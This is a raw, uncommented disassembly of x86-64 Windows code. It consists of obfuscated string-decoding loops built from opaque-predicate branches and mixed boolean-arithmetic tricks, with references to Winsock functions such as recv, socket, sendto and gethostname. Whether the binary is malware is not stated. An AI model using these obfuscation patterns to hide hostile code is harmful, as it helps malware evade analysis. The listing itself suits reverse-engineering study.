mov byte [rbp + 0x4d5], 0xc5
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x4d6], xmm0
mov dword [rbp + 0x4e6], eax
mov byte [rbp + 0x4ea], al
movabs r14, 0x58a7d67baca139f8
movabs r15, 0x1de68a5911ab09b8
movabs r13, 0xbb47306a5f2621d8
movabs r12, 0x9f7837305e3ade8
movzx edi, byte [rsp + 0x50]
nop
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
xor r10d, r10d
cmp r10, 0x2b
jae 0x14007c49d
movzx r9d, byte [rbp + r10 + 0x4c0]
mov r11, r9
nop dword [rax]
cmp rbx, r10
ja 0x14007c494
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14007b9cc
lea rcx, [r10 + r14]
mov rax, r9
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r9
add rdi, rcx
add dil, 0x38
jmp 0x14007ba00
je 0x14007c421
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007c3be
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007c38f
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14007c370
nop dword [rax]
cmp r8, r10
ja 0x14007c48b
lea rcx, [r8 + 5]
cmp rbx, rcx
jae 0x14007ba2a
lea ecx, [r10 + 0x58]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x68
jmp 0x14007ba70
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14007c325
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007c304
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007c2bc
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14007c29e
cmp rbx, rcx
je 0x14007c27f
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x14007bf34
nop dword [rax]
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14007bf22
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x14007befb
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x14007beda
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007bff5
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x14007bebc
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x14007be9d
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x14007be7e
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x14007be5f
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x14007be32
lea rbx, [r8 + 0x28]
lea r8, [rbx + 0x200]
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x14007c46e
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x14007c44e
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x14007bc47
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x14007bc2c
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x14007bc0d
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x14007bdf0
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x14007bda4
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x14007bd62
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x14007ba80
lea rbx, [r8 + 5]
lea r8, [rbx + 0x10]
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x14007bd31
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x14007bd16
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x14007bcf3
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x14007bcd8
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x14007bcbd
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x14007bcab
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x14007bc8a
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x14007bc62
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x14007ba80
lea rbx, [r8 + 0x41]
lea r8, [rbx + 0x28]
jmp 0x14007ba80
lea edx, [r10 - 0x58]
movzx eax, dl
and al, r9b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007ba70
lea ecx, [r10 - 0x48]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 8
jmp 0x14007ba00
lea ecx, [r10 - 0x38]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x78
jmp 0x14007b996
lea edx, [r10 - 0x30]
movzx eax, dl
and al, r9b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x14007b983
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x20
dec r10
inc r10
jmp 0x14007b983
lea edx, [r10 - 0x10]
mov ecx, gethostname
movzx r11d, r10b
jmp 0x14007c2c9
movzx ecx, r10b
and cl, r9b
add cl, cl
movzx edi, r10b
sub dil, cl
add dil, r9b
add rbx, r8
jmp 0x14007c3a5
lea ecx, [r10 + 0x10]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x70
jmp 0x14007c3a5
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x14007c24c
lea ecx, [r10 + 0x30]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x50
jmp 0x14007c3dc
lea edx, [r10 + 0x40]
movzx eax, dl
and al, r9b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x4c0]
add rax, r8
add r10, rax
inc r10
jmp 0x14007b983
lea ecx, [r10 + 0x78]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x48
cmp r8, 0x28
jb 0x14007c1f6
movzx r11d, r10b
lea ecx, [r11 - 0x30]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
add cl, r9b
lea edi, [rcx*2 - 0x60]
jmp 0x14007c343
lea edx, [r10 - 0x78]
movzx eax, dl
and al, r9b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
cmp rbx, 0x400
jae 0x14007c206
lea rax, [r8 + 9]
cmp rbx, rax
jbe 0x14007c12a
lea ecx, [r10 + 0x70]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x10
jmp 0x14007bd78
lea ecx, [r10 - 0x68]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x28
lea rax, [r8 + rbx]
cmp rax, 1
je 0x14007c231
lea rax, [r8 + 6]
cmp rbx, rax
jbe 0x14007c05d
lea edx, [r10 + 0x18]
movzx eax, dl
and al, r9b
mov ecx, 0x2c
jmp 0x14007bdb3
lea ecx, [r10 + 0x10]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x70
movzx eax, byte [rbp + r10 + 0x4c0]
add rax, r8
add r10, rax
inc r10
jmp 0x14007b983
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007c3dc
movzx r11d, r10b
lea ecx, [r11 + 0x30]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x50
jmp 0x14007c24c
lea edx, [r10 + 0x40]
movzx eax, dl
and al, r9b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007c3a5
lea ecx, [r10 + 0x50]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x30
add rbx, r8
jmp 0x14007c3a5
lea ecx, [r10 + 0x70]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x10
dec r10
inc r10
jmp 0x14007b983
lea ecx, [r10 + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x80
inc r8
dec r10
inc r10
jmp 0x14007b983
lea edx, [r10 - 0x70]
mov ecx, 8
movzx r11d, r10b
jmp 0x14007c332
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jae 0x14007bf5f
lea edx, [r10 - 8]
movzx eax, dl
and al, r9b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007be06
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007bf99
lea edx, [r10 - 0x50]
movzx eax, dl
and al, r9b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x4c0]
add rax, r8
add r10, rax
inc r10
jmp 0x14007b983
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007bfc5
movzx r11d, r10b
lea edx, [r11 - 0x70]
movzx eax, dl
and al, r9b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007c24c
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007bfec
lea ecx, [r10 + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x80
jmp 0x14007c3a5
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007c007
movzx r11d, r10b
lea edx, [r11 + 0x60]
mov ecx, 0x30
jmp 0x14007c2c9
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14007c031
lea ecx, [r10 + 0x50]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x30
dec r10
inc r10
jmp 0x14007b983
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x14007be06
movzx r11d, r10b
lea ecx, [r11 + 0x30]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x50
jmp 0x14007c343
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007c085
movzx r11d, r10b
lea ecx, [r11 + 8]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x38
jmp 0x14007c343
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007c0af
lea ecx, [r10 - 0x18]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x58
dec r10
inc r10
jmp 0x14007b983
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007c0d6
lea ecx, [r10 - 0x38]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x78
add rbx, r8
jmp 0x14007c3a5
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14007c102
movzx r11d, r10b
lea edx, [r11 - 0x58]
movzx eax, dl
and al, r9b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007c24c
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007bdbe
lea ecx, [r10 - 0x68]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x28
jmp 0x14007c3dc
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007c164
lea edx, [r10 + 0x60]
movzx eax, dl
and al, r9b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x4c0]
add rax, r8
add r10, rax
inc r10
jmp 0x14007b983
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007c17b
lea edx, [r10 + 0x20]
mov ecx, reloc.WS2_32.dll_recv
jmp 0x14007c379
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007c1a3
movzx r11d, r10b
lea ecx, [r11 + 0x10]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x70
jmp 0x14007c2da
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14007c1ca
movzx ecx, r10b
and cl, r9b
add cl, cl
movzx edi, r10b
sub dil, cl
add dil, r9b
dec r10
inc r10
jmp 0x14007b983
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007bd78
movzx r11d, r10b
lea ecx, [r11 - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x20
jmp 0x14007c343
mov byte [rbp + r10 + 0x4c0], dil
inc r10
jmp 0x14007b983
movzx r11d, r10b
lea edx, [r11 - 0x40]
movzx eax, dl
and al, r9b
add al, al
movzx edi, byte [rbp + r10 + 0x4c0]
sub dil, al
sub dil, 0x40
add dil, r9b
add dil, dl
jmp 0x14007c2da
movzx r11d, r10b
lea edx, [r11 - 0x50]
movzx eax, dl
and al, r9b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
sub r11b, 0x58
movzx eax, r9b
and al, r11b
mov ecx, 0x34
sub cl, al
add cl, cl
add cl, r9b
add cl, r11b
movzx eax, cl
mov byte [rbp + r10 + 0x4c0], al
inc r8
add rax, r8
sub r10, rax
jmp 0x14007c3dc
lea edx, [r10 - 8]
movzx eax, dl
and al, r9b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007c3a5
lea ecx, [r10 + 8]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x38
add rbx, r8
jmp 0x14007c3a5
movzx r11d, r10b
lea edx, [r11 + 0x18]
mov ecx, 0x2c
movzx eax, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
sub r11b, 0x48
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
sub r9b, 8
add r9b, dil
add r9b, r11b
mov byte [rbp + r10 + 0x4c0], r9b
add rbx, r8
jmp 0x14007c3a5
lea ecx, [r10 + 0x28]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x18
dec r10
inc r10
jmp 0x14007b983
movzx r11d, r10b
lea edx, [r11 + 0x48]
mov ecx, 4
movzx eax, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
sub r11b, 0x38
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
sub r9b, 0x78
add r9b, r11b
mov byte [rbp + r10 + 0x4c0], r9b
inc r8
dec r10
inc r10
jmp 0x14007b983
lea edx, [r10 - 0x58]
mov ecx, 0x34
movzx eax, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
add rbx, r8
jmp 0x14007c3a5
lea rcx, [r10 + r15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x14007b983
lea rdx, [r10 + r13]
movzx r9d, r11b
movzx eax, dl
and al, r11b
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, dl
lea ecx, [r10 - 0x60]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x60
add r9b, cl
mov byte [rbp + r10 + 0x4c0], r9b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x4c0]
add rax, r8
add r10, rax
inc r10
jmp 0x14007b983
lea rcx, [r10 + r12]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x58
movzx eax, byte [rbp + r10 + 0x4c0]
add rax, r8
add r10, rax
inc r10
jmp 0x14007b983
sub r10b, 0x28
movzx eax, r10b
and al, r9b
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x14007b980
sub r10b, 0x18
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x58
jmp 0x14007b970
lea rcx, [rbp + 0x152f760]
jmp 0x14007c4a4
lea rcx, [rbp + 0xf43158]
jmp 0x14007c4a4
lea rcx, [rbp + 0x4c0]
lea rdx, [0x1401dc6b3]
call fcn.1400393c0
mov byte [rbp + 0x4f0], __WSAFDIsSet
mov byte [rbp + 0x4f1], 0xff
mov byte [rbp + 0x4f2], 0x8b
mov byte [rbp + 0x4f3], 0xf5
mov byte [rbp + 0x4f4], 0xfc
mov byte [rbp + 0x4f5], 0xf4
mov byte [rbp + 0x4f6], 0x46
mov byte [rbp + 0x4f7], 0x8d
mov byte [rbp + 0x4f8], 0xfd
mov byte [rbp + 0x4f9], 0xea
mov byte [rbp + 0x4fa], 0xfb
mov byte [rbp + 0x4fb], 0xfd
mov byte [rbp + 0x4fc], 0xf4
mov byte [rbp + 0x4fd], 0xfc
mov byte [rbp + 0x4fe], 0x3e
mov byte [rbp + 0x4ff], 0xec
mov byte [rbp + 0x500], 0x8e
mov byte [rbp + 0x501], 0x89
mov byte [rbp + 0x502], __WSAFDIsSet
mov byte [rbp + 0x503], 0x1b
xor eax, eax
mov qword [rbp + 0x504], rax
mov dword [rbp + 0x50c], eax
mov byte [rbp + 0x510], al
movabs r14, 0xf1ad7b4c855c57b2
movabs r12, 0x9bbe5f17a58665de
movabs r15, 0xd50871e590150716
movzx edi, byte [rsp + 0x50]
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
nop dword [rax]
nop dword [rax + rax]
xor r10d, r10d
cmp r10, 0x21
jae 0x14007cf5f
movzx r9d, byte [rbp + r10 + 0x4f0]
mov r11, r9
nop dword [rax]
cmp rbx, r10
ja 0x14007cf56
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14007c5dc
lea rcx, [r10 + r14]
mov rax, r9
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r9
add rdi, rcx
add dil, 0x22
jmp 0x14007c610
je 0x14007cedf
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007ce52
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007ce31
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14007ce09
nop dword [rax]
cmp r8, r10
ja 0x14007cf4d
lea rax, [r8 + 0x41]
cmp rbx, rax
jae 0x14007c63a
lea ecx, [r10 - 0x66]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x36
jmp 0x14007c670
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14007cdbe
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007cd96
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007cd63
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14007cd44
nop
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x14007cae0
nop dword [rax]
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14007cac1
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x14007ca9d
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14007ca78
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x14007ca55
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14007ca37
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x14007ca1c
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x14007c9fd
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x14007c9de
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x14007c9b1
lea rbx, [r8 + 0x2a]
lea r8, [rbx + 8]
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x14007cf2d
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x14007cf10
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x14007c807
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x14007c7e8
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x14007c7c9
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x14007c961
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x14007c8e9
lea rbx, [r8 + 0x40]
lea r8, [rbx + 0x1000]
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x14007c8b8
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x14007c899
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x14007c87e
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x14007c863
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x14007c841
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x14007c822
lea rbx, [r8 + 1]
lea r8, [rbx + 9]
jmp 0x14007c680
lea edx, [r10 - 0x5a]
movzx eax, dl
and al, r9b
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007c670
lea edx, [r10 + 0x42]
movzx eax, dl
and al, r9b
mov ecx, 0x19
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007c610
lea ecx, [r10 - 0x22]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x12
jmp 0x14007c5a6
lea ecx, [r10 - 0x5c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7c
movzx r11d, r10b
jmp 0x14007cd01
lea edx, [r10 + 0x40]
movzx eax, dl
and al, r9b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
add rbx, r8
jmp 0x14007cd7d
lea ecx, [r10 - 0x24]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 4
jmp 0x14007cd7d
lea ecx, [r10 + 0x78]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x48
jmp 0x14007ce6c
lea edx, [r10 + 0x14]
movzx eax, dl
and al, r9b
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007ce98
lea edx, [r10 - 0x50]
movzx eax, dl
and al, r9b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x4f0]
add rax, r8
add r10, rax
inc r10
jmp 0x14007c593
lea ecx, [r10 + 0x6e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 2
cmp rbx, 0x80
jae 0x14007ccdb
lea rax, [r8 + 0x41]
cmp rbx, rax
jbe 0x14007cc42
lea edx, [r10 + 4]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x1c
add dil, dl
cmp r8, 4
jb 0x14007cccb
movzx r11d, r10b
lea edx, [r11 - 0x14]
movzx eax, r9b
and al, dl
mov ecx, 6
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x14007cddc
lea ecx, [r10 + 0xa]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x46
lea rax, [r8 + rbx]
cmp rax, 3
je 0x14007cd28
lea rax, [r8 + 0x10]
cmp rbx, rax
jbe 0x14007cbab
lea edx, [r10 + 0x6a]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14007c8ff
lea ecx, [r10 - 0x64]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x44
movzx eax, byte [rbp + r10 + 0x4f0]
add rax, r8
add r10, rax
inc r10
jmp 0x14007c593
lea edx, [r10 + 0x38]
movzx eax, dl
and al, r9b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007ce98
lea edx, [r10 - 0x2c]
movzx eax, dl
and al, r9b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007ce6c
lea ecx, [r10 + 0x70]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x10
jmp 0x14007cd7d
lea ecx, [r10 + 0xc]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x54
add rbx, r8
jmp 0x14007cd7d
movzx r11d, r10b
lea edx, [r11 - 0x58]
movzx eax, dl
and al, r9b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007cd01
lea edx, [r10 + 0x44]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x14007c593
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x20
inc r8
dec r10
inc r10
jmp 0x14007c593
lea ecx, [r10 + 0x7c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x64
movzx r11d, r10b
jmp 0x14007cddc
lea rcx, [r8 + 4]
cmp rbx, rcx
jae 0x14007cb08
lea edx, [r10 - 0x4e]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007c977
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007cb3e
lea ecx, [r10 + 0x34]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6c
movzx eax, byte [rbp + r10 + 0x4f0]
add rax, r8
add r10, rax
inc r10
jmp 0x14007c593
cmp rbx, rcx
jne 0x14007cb51
lea edx, [r10 + 0x60]
mov ecx, 0x30
jmp 0x14007cd6c
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007cb79
lea ecx, [r10 - 0x3c]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x5c
add rbx, r8
jmp 0x14007cd7d
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007c977
lea edx, [r10 - 0x74]
movzx eax, r9b
and al, dl
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
dec r10
inc r10
jmp 0x14007c593
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007cbc6
movzx r11d, r10b
lea edx, [r11 - 0x32]
mov ecx, 0x2f
jmp 0x14007cdcb
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007cbf1
lea ecx, [r10 - 0x6a]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x1a
dec r10
inc r10
jmp 0x14007c593
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007cc16
lea ecx, [r10 - 0x3e]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x4e
jmp 0x14007cd7d
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14007c8ff
lea edx, [r10 + 0x26]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0xa
add dil, dl
jmp 0x14007ce6c
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007cc7c
lea edx, [r10 + 0x68]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rbp + r10 + 0x4f0]
add rax, r8
add r10, rax
inc r10
jmp 0x14007c593
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007cca4
lea edx, [r10 - 0x34]
movzx eax, r9b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14007ce98
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14007c933
movzx r11d, r10b
lea edx, [r11 + 0x5c]
movzx eax, r9b
and al, dl
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
jmp 0x14007ccfb
mov byte [rbp + r10 + 0x4f0], dil
inc r10
jmp 0x14007c593
movzx r11d, r10b
lea edx, [r11 + 0x50]
movzx eax, r9b
and al, dl
add al, al
movzx edi, byte [rbp + r10 + 0x4f0]
sub dil, al
sub dil, 0x30
add dil, r9b
add dil, dl
add r11b, 2
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
sub r9b, 0xe
add r9b, r11b
add r9b, dil
mov byte [rbp + r10 + 0x4f0], r9b
add rbx, r8
jmp 0x14007cd7d
lea edx, [r10 - 0x4c]
movzx eax, r9b
and al, dl
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14007ce6c
lea edx, [r10 + 0x56]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x5a
add dil, dl
jmp 0x14007ce6c
lea edx, [r10 - 0xe]
mov ecx, 0x31
movzx eax, r9b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
